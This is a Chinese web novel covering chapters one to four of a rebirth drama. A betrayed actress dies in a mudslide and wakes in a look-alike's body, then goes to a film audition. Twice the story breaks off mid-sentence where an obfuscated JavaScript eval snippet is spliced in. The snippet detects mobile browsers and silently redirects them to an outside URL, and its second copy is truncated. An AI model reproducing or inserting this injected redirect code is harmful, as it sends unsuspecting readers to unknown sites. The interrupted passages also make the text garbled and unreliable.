《全世界都以为我是替身[重生]》 1. 第一章 2027年2月14日,初雪,情人节,也是陆嵬生日。 但黎数人在剧组,不光今年过年没回,情人节和陆嵬的生日也因为明天的颁奖典礼而不能和她一起过。 手机屏幕上还是她给陆嵬发的生日祝福。 【黎数:向您转账5200元,并备注:宝贝生日快乐。】 【黎数:给你订了蓝莓蛋糕,不大,吃不完记得放冰箱,忘记放的话剩了就不要吃了。】 距离她给陆嵬发消息已经过去了一个下午,但陆嵬一直没有回消息。 黎数揉了揉眼睛,前一天熬了大夜,白天又一天没睡,到现在体力和精力已经快到极限了。 她重新打开了对话框,想了想,趁着没过零点,又给陆嵬发了两条信息。 【黎数:向您转账1314元,并备注:原谅我吧,回去一定给你补过生日。】 【黎数:别生气,求求啦,求求啦。[猫咪拜拜]】 又等了几分钟,陆嵬还没回,黎数实在撑不住,倒在椅子上闭上了眼睛。 不能睡太久,她五个小时后的飞机起飞去参加嘉禾屿的金凰奖颁奖典礼,从剧组到机场路程也要一个多小时的车程,只能见缝插针的补觉。 就在黎数快要睡着的同一时间,手机震了震。 因为她就放在耳边,显得声音格外大,黎数被吓得一哆嗦,人立马就醒了,摸出手机看了眼,是陆嵬回了消息。 【陆嵬:出来。】 黎数愣了会才回复:【你在哪?】 【陆嵬:你们剧组仓库这边。】 转账信息陆嵬还没收,黎数也顾不得提醒了,匆匆起身往外跑去,一路上脸上的笑容几乎藏都藏不住。 她和陆嵬真的很久没见了。她小心的捂着口袋,到仓库那边的时候喘的厉害。 隔得很远她就看到了正在车边打电话的陆嵬,她今天穿着一身风衣,墨发如瀑,更衬的她身材修长,面容冷冽,明明是极漂亮的一张脸,不笑的时候却给人一种非常冷肃的感觉。 黎数脸上的笑容盈满双眼,调匀了呼吸后蹑手蹑脚的一点点靠近。 然而刚走没几步,随着陆嵬讲的话渐渐清晰,黎数脸上的笑容一点点消失了。 陆嵬对着电话那头说道:《真凶》那边我已经联系过了,岑巡的角色空出来了,这两天合同就能落成。” 静了片刻,陆嵬睫毛垂下来,一手撑住了车门,才接着说道:“岑巡这个角色谁都能演,唯独她不行。” 不知道电话那头说了什么,陆嵬说:“这次颁奖典礼我会拖住她不让她去的。”陆嵬对着电话那头说:“不到场会按照自动弃权算,今年的金凰奖得主候选人就只有你一个了。” 片刻后,她又用极低的声音说了什么,黎数听不清全部,只能最后从陆嵬的口型里看出来,那是一句‘我也爱你’。 她的手指在发抖。 旁边的车窗上映出她自己的脸,血色已经尽数褪去,但神情看不出情绪。 在这圈子里这么多年,什么风浪都见过,什么剧情都演过,可当事情真的发生在自己身上的时候,却已经想不起来要用什么技巧去面对了。 片刻后,黎数放在口袋里的手机铃声肆意的响了起来。 黎数一动没动,任凭它响着。 声音极吵闹,在偏僻无人的仓库甚至如同平地一声惊雷,可黎数全感到了无名的窒息和寂静。 很快铃声消失。 陆嵬的脚步声绕过了车头,最终站在了她面前,手里是刚刚挂断,还没有息屏的手机。 陆嵬在看到黎数的瞬间,脸上的表情并没有什么太大的变化,但瞳孔却猛地缩了一下。 紧接着,她捏了捏手,缓慢地长吸了一口气,率先说道:“你听到了多少?” 黎数没有回她这个问题,目光微微下垂,抑制住了不受控制被冻得发抖的身体,反问道:“是沈凝雪?” 陆嵬点了点头:“是。” 黎数沉默了一会,低声说:“那我全都听到了。” 听到陆嵬要把她期待很久的角色拱手送给沈凝雪,听到陆嵬为了让沈凝雪得到金凰奖,特地在今天不辞辛苦坐了几个小时的飞机,又坐了几个小时的车到这偏远山区拖住自己。 也听到了陆嵬说“我也爱你”。 已经快凌晨了,剧组人员已经收工,但山里太安静,一丁点说话的声音就会被听见。 黎数怕被拍,理智也还存在,她指了指不远处没有窗户的仓库,说:“去那谈谈。” 陆嵬凝眸看着她的背影,片刻后,起身跟在她的身后。 仓库只有一盏昏黄的小灯。 里面还有工作人员用来取暖的设备,如果不是时机不对、情景不对,这个时候,黎数应该会和陆嵬在这里接吻,在上飞机前的最后时间和陆嵬缠绵。 她关上了门,随便拉了两张椅子出来,坐在其中一个上面,自己都惊讶于此刻的表现出的心平气和,哪怕呼吸间都能闻到血腥气,哪怕因为极度缺觉和饥饿她感觉下一秒就要吐出来。 但是陆嵬并没有主动解释的意思,或者是不知道要怎么解释,所以这次是黎数先破了冰。 “你知道顾宗年的电影女主是多少人梦寐以求的吗?《真凶》的女主角我真的很喜欢,我期待了很久。” 陆嵬说,“知道。” 黎数浑身都在疼,她伸手虚虚捂住了腹部,可她不明白:“我这次拿到了金凰奖的提名,那部剧是我这么多年来反响最好,也最受欢迎的一部剧。你是知道的。” 陆嵬再一次说:“我知道。” 黎数放下手,用手臂支撑着身体:“这次金凰奖就是在我和沈凝雪之间二选一,但你选择了拖住我,不让我去现场,把二选一,变成了沈凝雪是唯一,是吗?” 陆嵬嘴唇动了动,与黎数相对的双眼像是一汪深潭,里面藏了太多东西,可最终,她也只是颤抖着嗓音说:“是。” 黎数眼眶瞬间就红了,声声质问道:“为什么?我们在一起了七年,七年啊陆嵬,你知道我有多喜欢演戏,你知道我有多喜欢岑巡,你也知道我为了这个奖项又付出了多少,你明明都知道,为什么还要这么对我啊?” 陆嵬狼狈的低下头,可她最终都没有解释一句。 黎数深呼吸了一口气,说道:“即便《真凶》我拿不到了,但这次颁奖典礼我一定会去,拿到金凰奖以后,我能接触到的剧本会更多更精,我不可能放弃,你拦不住我的。” “你不能去。” 陆嵬睫毛扇动了一下,很快抬眼,长发随着她的动作摆动,风衣衣摆下露出了她进门时就发现了的道具手铐。 黎数身体和精神早就已经到了极限,根本没有陆嵬的速度快,等她意识到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456869|169550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不对开始挣扎的时候,人已经被陆嵬拷在了椅子扶手上。 沉重的铁椅限制了她的活动。 黎数愤怒的挣扎了几下,但手铐纹丝不动:“你干什么,放开我!” 陆嵬没回应,像是下定了什么决心。 她起身将自己身上的外套搭在了她的身上,又将屋里的取暖器打开,最后,见黎数挣扎间将手腕弄得通红,甚至又在手铐里面垫上了一层软布。 剧组为了真实,手铐是找的专业俱乐部租的,质量和警用的也不相上下,黎数知道自己挣扎不开,终于疲惫的放弃了。 忙完一切,陆嵬重新半蹲在她面前,看着黎数通红的眼眶,怕在她眼中看到憎恨,很快避开视线。 但挪开后又不舍,在她嘴唇上轻轻吻了一下,像是承诺般说道:“我以后会给你其他更好的角色,会帮你拿到其他更好的奖项。” 黎数疲惫的说:“我不需要。陆嵬,把我放开。” 陆嵬充耳不闻:“我只拷住你一只手,房间里有卫生间,明天中午我就会赶回来,到时候陪我吃生日蛋糕。” 长久的沉默过后,黎数闭了闭眼,再睁开时,她已经不见了什么情绪波动。 极端的时间内,黎数做出了决定,咬牙说:“我给你两个选择,要么现在把手铐解开,要么现在我们分手。陆嵬,你知道我不是在开玩笑,别让我恨你。” 陆嵬握着她的那只手猛地收紧了,片刻过后,她拿走了黎数的手机,将自己的脸贴在了黎数的手上,就这么静静地待了很久。 然后起身离开。 四下重新回归一片死寂。 仓库四面都是墙,甚至连外面的天色都看不到,只有一个昏黄的灯。 黎数静静的一个人坐着,陆嵬走前甚至把这里的电视机打开了,调到了她喜欢的动物频道,女播音员的嗓音在午夜时刻都显得极为压抑低沉。 仓库的大门被陆嵬用铁链锁住,她一只手也被拷着根本离不开,手腕已经破皮,黎数没再试图挣扎,熬过头了,加上过于剧烈的情绪冲撞,反而没了睡意。 绵延的痛楚开始掺杂着丝丝缕缕的恨和不甘心,最后她甚至恨起了自己。 她开始恨自己不争不抢随遇而安的性格,只要有好的角色,她可以不顾班底不要片酬,对名利毫不在意,以至于让陆嵬觉得她可以把角色和奖项都拱手让人。 她也恨陆嵬,恨陆嵬喜欢沈凝雪为什么不早说,恨她既然放不下沈凝雪为什么又要拖着自己不放。 就这么睁着眼静静的坐了不知道多久,庞大而纷杂的思绪几乎将黎数折腾的身心俱疲,她疲惫的闭了闭眼。 再睁开时,黎数愣了愣,忽然感觉室内的灯光似乎晃了晃。 但很快她就意识到不是灯光,而是地动。 像是应和她的想法一样,只几秒的功夫,仓库所有的道具都开始出现了剧烈的颤动。 黎数瞬间从椅子上弹起,情况发生的太突然也太紧急,她本能的想往门外冲,却忽然眼前一黑。 失去意识之前,她只觉得自己浑身一阵酸麻,像是被什么重物压到,却没什么痛感,只有无穷的麻木。 只有被拷住的那只左手不知原因的传来了剧烈的疼痛。 下一秒,闷雷般的轰鸣响彻天地,城市山林沦为废墟。 伴随着长久的黑暗,黎数彻底闭上了眼。 2. 第二章 黎数仅存的记忆停留在了当时响彻了天地的轰鸣声、左手手腕的疼痛,和完全不受控的失重感上。 她第一反应是自己遭遇了地震,但没死,直到她被左手手腕的剧痛唤醒,睁开眼睛,面前是一片陌生的环境。 不是医院的装饰,更像是居民楼的浴室。 而她的左手手腕上纵横分布着密密麻麻,还在向外渗着血丝、皮肉已经泡的发白的刀伤。 失重感和晕眩感再次袭来,黎数这才意识到她此刻居然是在一个蓄满了水的浴缸里,水的颜色已经被她的血染得微微泛红。 黎数挣扎着从浴缸爬出去,心想这一定是在做梦。 她明明上一刻还被陆嵬拷在仓库的椅子上,怎么现在就成了这幅样子? 忽然间,黎数注意到了什么,从地上踉跄走到了浴室的镜子前。 她的第一反应是觉得熟悉又陌生,以及深重的惊讶。 镜子里的这张脸,和她足有六七分相似,只是更年轻、也更稚嫩。 瘦的过度,又许是失血过多,给人一种病态且孱弱的错觉。 虽然很难以置信,可她真的是重生了,重生到了一个刚刚自杀、但和她容貌相似的一个陌生的女孩身上。 但她没有这个女孩的记忆,更无从得知她为什么年纪轻轻就选择了这么决绝的方式自杀。 手上的疼痛让人心烦,黎数皱眉,走出屋子,在比较显眼的地方发现了药箱,里面还有些常用药。 简单的包扎好,还不等黎数进屋换一身干衣服,外面忽然传来了一阵急促的敲门声。 黎数迅速回过神,起身走到门后,向外面喊了一句,“谁?” “是我!”门外是个女人的声音,伴随着她说话的声音,敲门声却没停,甚至愈演愈烈:“开门啊,你干嘛呢?!快点啊,你知不知道现在几点了!” 黎数被敲门声和她尖利的嗓子吵得头疼,皱着眉把门打开了。 门外的女人不高,个子只到她肩膀,目测也就一米五五,大约二十五六岁。 黎数没有原主的记忆,并不认识她,也不知道她在原主这里占据着怎样的位置。 忍着头疼不动声色的往后退了退,让她进了门。 女人刚一进门,看到黎数的模样就怔住了,很快就失声道:“姓黎的!你到底知不知道你在干什么?!这都几点了?你还有心思去洗澡?才一个月没见,你到底干什么去了,现在搞成这副鬼样子?” 黎数抱着胳膊靠在玄关柜上,冷眼等着她发泄完了,才语气平静的开口:“到底什么事?” “你还问我什么事情?!”女人恨不得把黎数吃了,情绪激动的说:“曹总昨天就跟你通知过今天去参加《秘宝》的试镜,全公司适龄的女演员都去了,你倒好!忘了个一干二净?!” 黎数顿了顿,没想到原主居然也是个演员,且现下就有一个试镜的机会。 女人越说越生气,抬手就想推搡黎数,被她抬手挡开。 但黎数也没和她做无谓的推扯,淡淡扫了她一眼后起身离开,拢着头发走到了衣柜前。 里面都是些中规中矩的衣服,休闲运动服居多,她随手挑了一件,自顾自的进了浴室。 外面的女人被她的这个态度弄得愣了一下,手下意识的缩了回去。 刚刚黎数轻描淡写靠在墙边的样子,居然给了她一种难以言喻的违和,硬要用一个词来形容,那就是居高临下。 并不是态度多轻蔑,而是处于上位者时的天然压迫。 她根本不在乎。 而更让她觉得无地自容的,是黎数甚至什么都没做,只是淡淡的一眼,就让她显得像是在无理取闹。 她在门口愣是缓了会才跟进去,说话还是不好听,但比刚进门时好了些:“你现在知道着急了?还不赶紧换好衣服出发,别化妆,费导出了名的面试要求纯素颜你不知道吗?你到底知不知道《秘宝》这个机会多难得,曹总为了搭上秦霜那条线喝了……” 她的话音在看到从浴室里出来的黎数时忽然收了声。 她差点以为认错了人。 室内暖气开的很足,所以黎数只穿了最简单的白衬衫和浅蓝色的牛仔裤,但即便是这样,都因为她高挑的身材穿出了名模般的随意。 衬衫松开了两颗扣子,露出了里面精致的锁骨,脖颈纤长,弧度连成一线,漂亮的让人挪不开眼,衬衫下摆不知道怎么叠的,收住了整个腰身,下面就是一双修长笔直的腿。 这一瞬间,刚刚那股说不出来的违和再一次袭来,然而黎数甚至只是用最平常的动作,站在她面前垂着眼看她。 眼里依然没有波动。 “黎、黎数……?”女人迟疑的喊了一声黎数的名字。 黎数意识到这个身体不是姓‘李’,而是姓‘黎’。居然和她是同名,只是不知道具体是什么字。 不带情绪的‘嗯’了剩,随意扫了她一眼,越过她拿起了床头柜上的手机。 女人莫名没敢再催促她,木呆呆的站在原处,直到黎数按灭了屏幕,她才支支吾吾了几声,后退两步到门边说:“收拾好了吗?走、走吧?” - 女人在微信备注里的名字是沈晓青,几十条的未接信息和通话。 黎数和她一起出门,没有司机,沈晓青也没让黎数戴口罩,下着雨,甚至连伞都没有准备,出租车都是现打的。 黎数由此得出了几个信息。 少女是个演员,但是不红,甚至可以说是查无此人,而沈晓青是公司的助理,不是她的,所以对待她的态度才会这么轻慢。 她们现在要去试镜《秘宝》的一个配角,总导演是费鹤鸣,地位极高,口碑也极好,也因此,竞争者极多,不乏很多有代表作的流量和演技派小花,而少女公司的老板采用的是人海战术,旗下签约的所有适龄女生都去了。 上车后几人就没有再交流过。 黎数一个人坐在后排,拿出了手机。 映入眼帘的,是手机屏幕上冷冰冰的一行数字。 2029年2月14日,情人节,大雪。 距离她死亡居然已经过了整整两年。 两年的时间……她平白错过了两年的时光,对这两年间发生的事情一无所知,和整个世界都脱了轨。 黎数垂眸,戴上耳机,点开了搜索软件,在屏幕上搜索两年前的今天的相关新闻。 “据本台报道,2·14六陇市发生特大泥石流灾害,截止至2027年2月22日晚22时,共造成1764人遇难,305人失踪……” 从两年前的2月14日开始,包括之后几天的所有软件热搜栏、各个媒体的头版报道都被铺天盖地的灾区新闻覆盖。 原来不是地震,是泥石流。 可天灾面前无大小,不论是什么,天灾过后,城市山林都会沦为废墟焦土,四处都是哀嚎哭喊,生死都在须臾间。 手机页面自动翻页,第一行的文字甫一出现,黎数的目光便定格了。 “据悉,获取金凰奖提名的演员黎数也在本次灾害中失踪,目前仍然下落不明,粉丝自发组织救援物资送往灾区……” “本次灾害中,著名导演、编剧陆嵬个人捐款共计2600万元,并赶赴灾区第一线……” 黎数的拇指指尖触碰到了屏幕上的‘陆嵬’两个字时,忽然抽搐了一下。 自睁开眼睛以后一连串的事情冲击的她无暇去想陆嵬,现在猛地一看到这个名字,就是透彻心肺的寒。 七年的感情,太狠了,实在是太狠了啊。 眼眶不受控制的湿润,黎数在后排克制着,一呼一吸间都是伤筋动骨,痛到四肢百骸。 左手还是无力,手机不小心掉落在地上,发出了一身闷响。 前排的沈晓青警觉的往后看了看,“怎么了?” 黎数闭了闭眼,忍住了声音的颤抖,尽量平静的说:“手机掉了。” 沈晓青‘哦’了声,果真扭过了头,不再往后看。
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“爱人?”另外一个人重点放在了前面,不可置信的说:“圈里不是说陆嵬和沈凝雪才是一对吗?两家是至戚世交,她俩是并蒂青梅?我听说这次金凰奖颁奖晚会陆嵬和沈凝雪都去了,座位都是挨着的,黎数被提名了都没去,还因为不到场被除名了,当时闹得很大,她的事业粉都气疯了。她俩?不像啊……” “谁知道呢,我听主编说陆嵬和黎数才是一对,和沈凝雪只是朋友,说她俩感情挺好的,陆嵬看着也是真心的。” 视频只有短短的一分半钟,带的词条很多,也因为她们三个人的名字,加上特殊的时间、地点、事件,所以热度极高。 黎数露出了一个极为苦涩的笑,低头捂住了脸。 她没有哭,只觉得荒谬,和一阵阵的恶心,以及逐渐清晰明了的恨。 视频中的陆嵬还在沉默的抬起一块块碎石,可雪后的地表封冻,本来的缝隙也被冻土填满,给救援带上了新一轮的困境,陆嵬自始至终没停过。 镜头离得太远,根本看不清陆嵬的脸,但头发、衣服已经被泥土沾满,几乎看不出本色。 她忽然觉得,陆嵬是爱她的没错,她可以在她死后脱手寰宇上市最重要的节点直接赶赴灾区,可以暂停已经开机的剧组,可以抛下明明夺得影后桂冠,却因为赶上国家灾难而不能庆祝,情绪、事业一定会受到影响的沈凝雪,奔赴千里,只为了寻找她还没死的一线可能。 七年的感情做不得假,那些甜蜜、争吵、别别扭扭的道歉和讨好伪装不了。 可七年的感情到头来换不过沈凝雪的一句想要。 只不过是在陆嵬心里,沈凝雪比她重要罢了,她爱自己,并不代表她只爱自己。 所以她人生中的第一个影后,她梦寐以求的角色陆嵬可以说拿走就拿走,说给沈凝雪就可以在瞬间安排好一切。 可陆嵬呢?电话里轻飘飘一句“她的事业心不强,不会在意。”就把她多年为之拼搏的一切给否决了。 黎数咬着牙,拼命吞下了涌上来的涩意。 她怎么可能不在意? 她不争不抢不代表不想要,那是她靠自己一步一步拿到的角色,得到的荣誉,她怎么可能不想要! 可为什么?明明她什么都没有做错,被夺走角色的是她,被抢走荣誉是她,死的那个人还是她? 而做了这些的人,居然是她以为会相伴一生,想要结婚的人。 恍惚间,黎数看到了手机屏幕上的倒影。 那是一张和她上辈子有六七分相似的脸,还有一样的名字。 她活下来了。 以一个崭新的身份,和对任何人而言都最好的年纪。 那她就要去争,去抢,用一样的脸和名字,重新站在顶峰。 3. 第三章 眼前的这个角色,对黎数而言就是最好的机会。 两年前她就听陆嵬说起过《秘宝》剧组在筹备的消息,到现在已经整整四年的时间,才终于开始公开选角。 这部片子由泰斗级导演费鹤鸣亲自指导,中央电视总局并电影总局联合发行,场景恢弘庞大,甚至向部队借了数万人,所有地方才用的都是实景拍摄,一部近代剧,投资甚至超过了五个亿。 目前还搜不到多少演员官宣的消息,黎数本来也不指望沈晓青能告诉她什么,但不料沈晓青却说:“曹总已经打探清楚了,女主目前定下的是双料影后沈凝雪,男主是蝉联了两届影帝的梁修远,里面的几大配角也都是圈里的老前辈,都是国家级的艺术家。” 主旋律题材的电影,演员方面是不可能有拉胯的存在的。 而且所有参演演员都会做堪比政审的背景调查,可以说但凡能上戏的,要么都是关系过硬的,要么就是真清白的。 黎数点了点头,既然公司敢让原主上,背景应该也是没问题的。 司机导航上显示距离目的地还要四十分钟。 她失血过多,又骤逢巨变,精神和体力都在摇摇欲坠的边缘,将身上的羽绒服裹紧,黎数靠着一侧闭上了眼。 - 黎数睡的不沉,司机刚报过价格她就醒了,但眼前发黑,有些无力。 出来时她在床头拿上了巧克力和保温杯,杯子里的水还是温热的。 黎数含上一小块,向窗外看了眼,才发现外面的雨已经变成了掺半的雪。 肉眼已经可见的雪花从空中飘落,像是要涤尽世间的阴霾,黎数避不可免的想到了两年前的同一天,都是大雪。 沈晓青付过钱,找司机要了发票,刚要叫黎数下车,回过头时却愣住了。 不知道是为什么,只是一个月的时间没见而已,沈晓青总能在黎数身上看到非常陌生的违和感。 雪色映照下,她发现似乎黎数的眉目都变得清晰起来,五官明艳,骨相绝顶,卷发浓密齐肩,只薄薄涂了一层口红就像是朵艳丽浓烈的红玫瑰。 但眼神不知道为什么,在不经意间总是时不时充满着哀伤。 沈晓青不得不承认,即便她再不喜欢黎数,但如果黎数用这种眼神和她借钱,她真的会借。 “咱们去里头找陈哥。”沈晓青冷不丁的出声。 黎数的目光自然收回,转眼就看不到刚刚外泄的情绪,淡淡的嗯了声。 巧克力在口中融化,浓醇的味道和糖分给了黎数些许力气。 她将手腕往袖子里藏了藏,也下了车。 - 试镜处四处人头攒动,各式各样的私家车和出租车一眼望不到头。 角落里面挤满了男女老少,已经有点名气的大多觉得高人一等,站在离群索居的角落,下大雪也戴着个墨镜。 沈晓青的伞始终没拿出来,黎数也不在意,甚至享受这种雪天漫步的悠闲,反正沈晓青不敢真的丢了自己。 不少人在各个大门进进出出,每次都会有新的骚动,每次都会有人猜测着里面的情况,试镜的结果又如何,彼此讨论的热火朝天。 忽然间,沈晓青看到了不远处扎眼的人群,伸手拉住了黎数的手臂,催促道:“快点,陈哥在那边等咱们了!” 黎数抬手抚开:“我自己会走。” 碰到伤口了,很痛。 沈晓青没有开始那么放肆了,出来后发现黎数是真的气色不好,见状也只是催促:“那你走快点,都到这了还慢吞吞的,陈哥面前表现表现啊!” 沈晓青说的陈哥全名叫陈远,是黎数所在公司的经纪人,手底下足有二十多个人。 他中等身材中等身高,四十岁上下,总体来说就是毫无亮点,但脾气很大。 “这都几点了,所有人都在等你,你多金尊玉贵拖到现在才来?” 陈远见到他们就是一顿劈头盖脸的骂。 他手上拿着文件夹,作威作福惯了,抬起就要往黎数和沈晓青身上打。 黎数冷着脸躲开,沈晓青陪着笑挨了两下。 只是站了一会,黎数就发现了极其违和的地方。 原主所在的公司名叫一统娱乐,合同一共签了三年时间,不长不短,到现在还有一年。 她两年前从没听说过有什么一统娱乐,想必是名不见经传的小公司。 可要说小,身边围绕着的二十多个男男女女又做不得假,这些人即便不火,可一个公司要养这么多艺人也决不轻松。 光是这次的试镜机会,就是多少人挤破头都来不了的。 在这里,他们是人数最多、且最集中、也最招人眼球的一群人。 “哎,我天,你看那边那帮人——” “这个像大乔,那个像小乔,那边那个,那边那个像艾博妍……还有那个……” “这公司是带着旗下coser团建来了吧?” 黎数停顿片刻,向后挪了两步,明白了刚刚那股违和感的来源。 眼前这二十多个男男女女,她并不能将其完全和娱乐圈那些已经老去、退圈、又或是离世的前人对上,但有不少人,长相都酷似十几乃至二十年前的演员。 刚刚那人所说的大小乔,十五年前因为一部《曲有误》,姐妹两人红透了半边天,戏内饰演大乔小乔,戏外因为姓乔也被称为大乔和小乔,只可惜后来因为连环车祸双双去世。 而眼前这双胞胎姐妹花,和已经去世的大小乔也有些相似之处。 其他人也都一样。 或许是眼睛、或许是轮廓……总之,在这些人的聚集衬托下,黎数和从前的自己相似的脸都显得不再那么突兀了。 甚至有了一种诡异的‘原来相似的人居然有这么多’的感觉。 那边沈晓青已经把陈远顺着哄好,两人不知道说了什么,陈远没好气的剜了黎数一眼。 他刚要说什么,可注意到了黎数冷淡沉静的眼神后,话居然又咽了回去。 他自己都觉得莫名其妙,但还是压下满腹疑惑的走到了几米外的一个女人身旁。 与其说是女人,倒不如说是女孩儿。 她看着也就十八九岁,和自己现在的身体差不多岁数的年纪,可在她的身上,黎数莫名有种熟悉感。 “小沈姐,咱时间到了,待会等牌子发完就该进去了。” 陈远姿态放的低,四十多岁的男人冲着一个坐着的小女孩弓腰哈气,讨好的意味十足,也不伦不类。 女孩儿正脸转过来的时候,黎数看了个正着,不由得晃了晃神。 “你别喊我小沈姐,你叫我名字不行吗?别扭死了。”沈晗不满道:“除了我,这帮人还有谁能试上戏啊?宣布好的十一点半集合,都快两点多了才有人刚刚来!” 沈晗隔着老远翻了黎数一个白眼。 “消消气消消气,那不是考虑着她在这,公司好给你们俩一起做宣传吗?” 陈远低声下气的安抚:“她也是来给你做陪衬加话题的,没了她不好做话题,再说了,从前那个活的黎数都争不过沈凝雪,现在这个黎数当然也争不过你。” 沈晗怒气稍缓,眼睛闪亮亮的开始憧憬起来。 黎数侧过头,心里对这个公司大体的营销方向有了一个估算。 以模仿营销走的下三流的路子,虽然不齿,手段也不被主流认可,可这个路子却是有效的。 起码眼前就出了一个‘小沈凝雪’。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没想到讲人坏话被抓包居然还能是这样的态度,脚步都停下了,被后面的人撞了个踉跄。 但怒火也莫名其妙的就熄了,又想刚刚是不是自己误会了,其实人家对她笑是讨好。 最后,她也别别扭扭的抿唇露出个笑来,不知道想到了什么,又喜滋滋的领头走。 黎数满头雾水。 只是心想沈晗还是个十八九岁的孩子,喜怒哀乐都摆在脸上,看得出目前的路子走的还算顺。 对现在的她而言,能被冠上‘小沈凝雪’的名头是一种称赞,就像是冬天的雪一样圣洁荣耀。 - 一行人顺着指引,进到了走廊靠里面的一个试镜的房间。 她们这组试镜的角色要求的是学生,所以来试镜的姑娘们都很年轻也青涩,最大也就二十五六,但因为都谨记着‘不能喧哗吵闹’,所以聊天都是窃窃私语。 黎数的号码排在末尾。 等她走进去的时候,一眼就看到选角组最边缘的位置坐着一个面容颇为漂亮的女人。 女人身材偏瘦,脸上架着一个黑框眼镜,带着股内敛的书卷气,看着像是个社恐,目光看天看地看空气,就是不看人。 她面前的名牌上写着秦霜两个字,黎数有印象,她还活着的时候,她听陆嵬说过这个名字。 新锐编剧秦霜,擅刻画底层贫苦女性角色灵魂内核。 她与陆嵬读的是同一个大学,但比陆嵬大了很多届,算是同校的师姐。 4. 第四章 忽然间人群涌动,关闭的大门再一次被推开。 黎数看了过去。 一个戴着墨镜口罩的女人走了进来,黑西装保镖开路,为她打开了门。 黎数不认识这是谁,心想可能也是她‘死亡’的这两年间升起的新星。 “是林辰星啊!”有女孩低声八卦,“她气场好足啊。” “林辰星好像是凝火娱乐这两年力捧的小花吧,去年靠的一部现偶红起来的,这么快就要送进电影圈了吗?” “应该是,这部戏的女主可是沈凝雪,她这两年是出了名的带新人,出的戏基本都是凝火娱乐自产自投的。” 黎数侧耳听着,也多知道了一些事情。 眼前的小花名叫林辰星,现下正当红,也是沈凝雪公司力捧的新一代小花。 林辰星进来后逐步摘下了墨镜和口罩,脖颈白皙纤细,未戴首饰,长相属于清纯那挂的,漂亮有余,但气场不足,没有刚出场时那么夺人注意。 在工作人员的示意下,刚刚引起的一点小骚动很快就平息了下来。 林辰星领了牌子,正巧在黎数后面一位,卡位五十,今天下午后半场,这个房间里试镜的所有女生就都到齐了。 - 截止到目前,面试已经进行了近十个小时。 导演组所有人面上都是藏不住的疲惫。第一轮的海选已经过了,这是第二轮,来的人都是各大公司旗下推出的演员……和艺人。 艺人这个词,有时候涵括了太多东西了。 “这个会唱歌,这个会跳舞,这个又唱又跳。” 范从荣已经年近五十,圈里也算是个老好人,也拍过电影,指导过不少新人,自问算是平和。 可一整天下来,面对这些‘公司力捧’的妖魔鬼怪,趁着中场休息的时候,还是忍不住了。 他忍不住朝一边惜字如金的秦霜叹息,抽出来一个:“这还有个相声社送来的捧哏!” 秦霜抿了抿唇,不想说话,但不理人得罪人,何况范从荣她不是很想得罪。 范从荣早年当过导演,但说外行不外,说内行又不够内——他有钱。 挂了个导演的名,却把大权全部放了出去,任由真有实力的人随便拍,实际上是总投资人。 懂得尊重文化人的有钱人。 秦霜想了想,就从自己那边的资料里面找出来了厚厚的一沓资料,往他那推了推。 范从荣以为是秦霜留意出的好苗子,当下精神一震。 然后他就听到,秦霜用一种很寡淡的语气说:“这虽然是二十七个人,但是实际上是五十四个人,或者是更多人。” 范从荣不明所以。 看完了还是不明所以。 直到这‘五十四个人’开始陆续试镜。 - 黎数看的津津有味。 所有试镜的人身上都带着腰牌,上面是号码和公司名字、以及自己的名字。 上面声嘶力竭的喊叫着‘家人们,家人们,家人们’的主播式表演喊麦的人,是一统娱乐的人。 手臂被碰了碰,黎数转过头,看到了一张盈满笑意的眼。 “你们是一个公司的?”林辰星抿了口咖啡,点了点台上那个直接被喊停叫下去的人,“你一会上去,也这么表演吗?” 一统娱乐别的不强,但吵闹的作风起码是把气氛活跃起来了。 黎数看着从台上下来以后就变得沉默寡言,恨不得把头埋在胸口,和台上完全是两个不同风格的女生。 她定定了看了几秒后说:“大概吧。” 不是谁都甘愿当别人的影子,一统娱乐的大多数人,恐怕也都是为了混口饭吃。 一统的老板算是大方了。 他们这帮人没有人科班毕业,大多签了以后都去当了主播先凑热度,直播业绩不强求,每个月还给发五千的工资。 林辰星耸耸肩,“我倒是没想到你们公司会来这么多人面试。” 黎数不明白为什么一个流量小花会单独对自己情有独钟。 明明同样算是小有热度的沈晗就在前面不远处,但她偏偏要挨着自己说话。 林辰星再次打量着黎数,目光在她的脸上特意的停留片刻,才说道:“原来你没故意化妆啊。那你真的长得很漂亮了,也真的和……” 她有点卡壳,盯着黎数腰牌上的名字看了半晌,最后还是说:“和你模仿的那位长得很像。” 黎数语气平静,避重就轻的说:“谢谢。我知道自己好看。” 林辰星笑了声:“那你怎么不知道一统娱乐和寰宇娱乐、凝火娱乐都闹得不太愉快啊?顶着这么张脸,不应该啊。这事儿鬼都知道。” 因为我‘死’了两年。 死之前连一统娱乐的名字都没听说过,更别说知道它和两大知名公司闹得不愉快。 变成鬼都不可能知道,因为她变成鬼了,但就是不知道。 “你们一统的老板为了让自己的女儿火,先是给自己的女儿打造了一条最快也最容易被观众记住的模仿秀,之后一路贴着我老板的名字吸血,现在,又为她的后续热度,专门打造了一个你。” 林辰星语气凉凉的说:“用外界传扬的那样,靠贬低你的方式去抬高‘小沈凝雪’,这个行为,让我老板和寰宇的老板,都非常、非常、非常不高兴。” 黎数挑眉,连用了三个非常,看来是真的结了梁子。 可不高兴什么? 贬低自己去抬高沈凝雪? 黎数露出个笑,觉得荒诞。 她们从前,不就是这样做的吗? “所以我就真的很好奇。”林辰星绕了一个大弯子,终于说出了自己想说的:“你们老板到底是怎么还敢把沈晗送进来试镜的?” 说罢,林辰星指了指两人身后的墙上。 